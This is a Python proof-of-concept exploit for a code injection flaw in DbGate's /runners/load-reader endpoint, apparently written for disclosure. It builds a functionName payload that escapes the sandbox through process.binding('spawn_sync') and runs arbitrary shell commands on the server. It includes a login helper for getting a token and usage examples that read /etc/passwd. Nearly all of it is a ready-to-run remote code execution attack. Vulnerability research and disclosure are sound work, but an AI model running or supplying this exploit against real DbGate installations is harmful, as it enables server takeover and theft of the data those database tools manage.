#!/usr/bin/env python3 """ DbGate RCE via functionName Code Injection in loadReader Endpoint ================================================================= Vulnerability: The POST /runners/load-reader endpoint accepts a `functionName` parameter that is injected directly into a JavaScript template string without any sanitization or validation. This allows an authenticated user to execute arbitrary code on the server, bypassing the `require=null` sandbox. Affected: DbGate <= 7.1.6 (commit ea3a61077ab09775c39890c465f0b3e97f6c812e) Endpoint: POST /runners/load-reader Auth: Requires valid JWT (any authenticated user, no special permissions) Impact: Remote Code Execution (RCE) The vulnerability exists because: 1. `functionName` from user input flows into `compileShellApiFunctionName()` 2. Without '@', the result is `dbgateApi.${functionName}` (no sanitization) 3. With '@', `nsMatch[1]` (before '@') is injected into `.shellApi.${nsMatch[1]}` 4. The compiled string is interpolated into a JS template executed via fork() 5. Although `require=null` is set, `process.binding("spawn_sync")` still works Vulnerable code path: packages/api/src/controllers/runners.js:353 -> loadReader({ functionName, props }) packages/api/src/controllers/runners.js:366 -> loaderScriptTemplate(prefix, functionName, ...) packages/api/src/controllers/runners.js:64 -> ${compileShellApiFunctionName(functionName)} packages/tools/src/packageTools.ts:33 -> return `dbgateApi.${functionName}` Compare with `start()` at line 292 which requires `testStandardPermission('run-shell-script')` and checks `platformInfo.allowShellScripting`. loadReader has NO such checks. """ import requests import json import sys import time def exploit(target_url, auth_token, command="id"): """ Exploit the functionName injection in loadReader to achieve RCE. Args: target_url: Base URL of DbGate (e.g., http://localhost:3000) auth_token: Valid JWT authentication token command: Shell command to execute """ # Build the malicious functionName # Template: const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)}); # Without @: compileShellApiFunctionName returns "dbgateApi." + functionName # We inject: dbgateApi.toString(); ; dbgateApi.toString// # The // comments out the rest of the line including (${props}) # Use process.binding("spawn_sync") to bypass require=null rce_payload = ( 'toString();' 'var __r=process.binding("spawn_sync").spawn({' 'file:"/bin/sh",' 'args:["/bin/sh","-c","' + command.replace('"', '\\"') + '"],' 'envPairs:[],' 'stdio:[' '{type:"pipe",readable:true,writable:false},' '{type:"pipe",readable:false,writable:true},' '{type:"pipe",readable:false,writable:true}' ']' '});' 'dbgateApi.toString//' ) headers = { "Content-Type": "application/json", "Authorization": f"Bearer {auth_token}" } payload = { "functionName": rce_payload, "props": {} } print(f"[*] Target: {target_url}") print(f"[*] Command: {command}") print(f"[*] Sending malicious loadReader request...") print(f"[*] Payload functionName: {rce_payload[:80]}...") try: response = requests.post( f"{target_url}/runners/load-reader", headers=headers, json=payload, timeout=10 ) print(f"[*] Response status: {response.status_code}") print(f"[*] Response body: {response.text[:500]}") if response.status_code == 200: print("[+] Request accepted - command should have executed on the server") print("[+] Note: The forked process executes the injected code synchronously") print("[+] Check server-side for evidence of command execution") elif response.status_code == 401: print("[-] Authentication failed - check your token") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.Timeout: print("[+] Request timed out - this is expected for long-running commands") print("[+] The command was likely executed before the timeout") except requests.exceptions.ConnectionError as e: print(f"[-] Connection error: {e}") def get_token(target_url, username, password): """Get an authentication token via login.""" try: response = requests.post( f"{target_url}/auth/login", json={"login": username, "password": password}, timeout=10 ) if response.status_code == 200: data = response.json() return data.get("accessToken") except Exception as e: print(f"[-] Login failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} [command]") print(f" {sys.argv[0]} --login [command]") print() print("Examples:") print(f" {sys.argv[0]} http://localhost:3000 eyJ... 'id > /tmp/pwned'") print(f" {sys.argv[0]} http://localhost:3000 --login admin password123 'cat /etc/passwd'") print() print("The injected functionName in the POST /runners/load-reader body:") print(' {"functionName": "", "props": {}}') print() print("Generated JS template (the injected part):") print(' const reader=await dbgateApi.toString();process.binding("spawn_sync").spawn(...);//({})') sys.exit(1) target = sys.argv[1].rstrip("/") if sys.argv[2] == "--login": if len(sys.argv) < 5: print("Error: --login requires ") sys.exit(1) token = get_token(target, sys.argv[3], sys.argv[4]) if not token: print("[-] Could not obtain token") sys.exit(1) print(f"[+] Got token: {token[:20]}...") cmd = sys.argv[5] if len(sys.argv) > 5 else "id" else: token = sys.argv[2] cmd = sys.argv[3] if len(sys.argv) > 3 else "id" exploit(target, token, cmd)